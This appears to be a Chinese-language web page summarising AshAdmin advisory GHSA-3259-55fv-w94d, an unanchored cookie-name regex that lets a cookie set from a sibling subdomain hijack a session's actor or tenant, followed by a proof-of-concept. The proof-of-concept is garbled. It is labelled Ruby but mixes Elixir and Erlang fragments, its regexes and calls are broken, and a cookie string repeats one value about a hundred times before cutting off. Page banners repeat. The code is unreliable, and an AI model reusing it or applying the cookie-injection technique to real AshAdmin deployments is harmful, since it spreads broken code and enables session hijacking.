AshAdmin GHSA-3259 Cookie 名称子串匹配漏洞分析与 POC

漏洞关键信息总结 漏洞概述 漏洞名称：AshAdmin 客户端 JS 中 Cookie 名称子串匹配漏洞 漏洞编号：GHSA-3259-55fv-w94d 严重程度：High（8.3/10） 漏洞类型：Cookie 名称子串匹配（subtring matching） 核心问题：Cookie 读取器 使用正则 构建模式，未锚定 Cookie 名称边界，导致攻击者可通过在兄弟子域名上设置精心构造的 Cookie（如 ）来劫持/重绑会话的 actor/tenant。 影响范围 受影响版本：>= 0.9.1 < 1.3.1 已修复版本：1.3.1 影响对象：任何运行 AshAdmin 且其域名下存在可被控制或攻陷的兄弟子域名的场景 攻击条件：攻击者需控制一个父域名下排序在合法 Cookie 之前的兄弟子域名 修复方案 升级至 1.3.1 版本 修复方式：锚定正则模式并转义插入的名称（即对 Cookie 名称做边界锚定与转义，避免子串误匹配） POC / 利用代码 ```ruby POC: ash_admin 1.3.0 - unanchored cookie-name regex in the shipped admin JS bundle lets a cookie value name-suffix "bind with" the requested name shadow the real one, poisoning the LiveSocket connect params. Outside-attacker model: The victim logs in to Ash Admin using its page inline private/static/assets/app.js bundle (AshAdmin.layout.render("app.js")). Here a Bundler endpoint serves that exact file, and the "browser" fetches it over HTTP from 127.0.0.1 - nothing in bundle sets the whole registrable domain, so the attacker sets actor_authorizing=true, domain=example.com, path=/ which the victim's browser serializes into document.cookie "before" the admin's own cookies. getCookie() is then applied - with the regex source extracted from the fetched bundle - to that document.cookie string, and the resulting connect params are sent to the server exactly as LiveSocket expects them. The regex name = "([\\s\\S]?);" has identical matching semantics to JS RegExp and Erlang (re for this pattern, re:re is used as the evaluator. require 'httpclient' require 'json' Minimal stand-in for an Ash Admin mount: serves the shipped bundle and accepts LiveSocket connect params via Plug.Router plug(:match) plug(:dispatch) get "/assets/app.js" do js = File.read(Application.app_dir/ash_admin/"private/static/assets/app.js") send_resp(200, js) end get "/live/websocket" do params = parse_query_params send_resp(200, "ok") end match do send_resp(404, "") end The victim's browser: runs the fetched getCookie() over document.cookie. def get_cookie(name, document_cookie) re = Regexp.compile(name + "=([\\s\\S]?);") m = re.match(document_cookie) m ? URI.decode(m[1]) : nil end def param(document_cookie, name) get_cookie(name, document_cookie) end 1. The victim's browser loads the same page and fetches the shipped bundle. base = "http://127.0.0.1:#{port}" js = http_get(base + "/assets/app.js").body get_cookie_fn = Regexp.scan(/function getCookie\(name\)\s{.?}/m, js).first getCookie() as served by the victim over HTTP names = Regexp.scan(/getCookie\("([\w.-]+)"/, js).map { 2. Cookies the admin itself set for this user (honest state). honest_cookies = "tenant=real_tenant; actor_resource=App.Accounts.User; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true;

目标达成感谢每一位支持者 — 我们达成了 100% 目标！

AshAdmin GHSA-3259 Cookie 名称子串匹配漏洞分析与 POC

同源更多文章

目标达成 感谢每一位支持者 — 我们达成了 100% 目标！

AshAdmin GHSA-3259 Cookie 名称子串匹配漏洞分析与 POC

同源更多文章

目标达成感谢每一位支持者 — 我们达成了 100% 目标！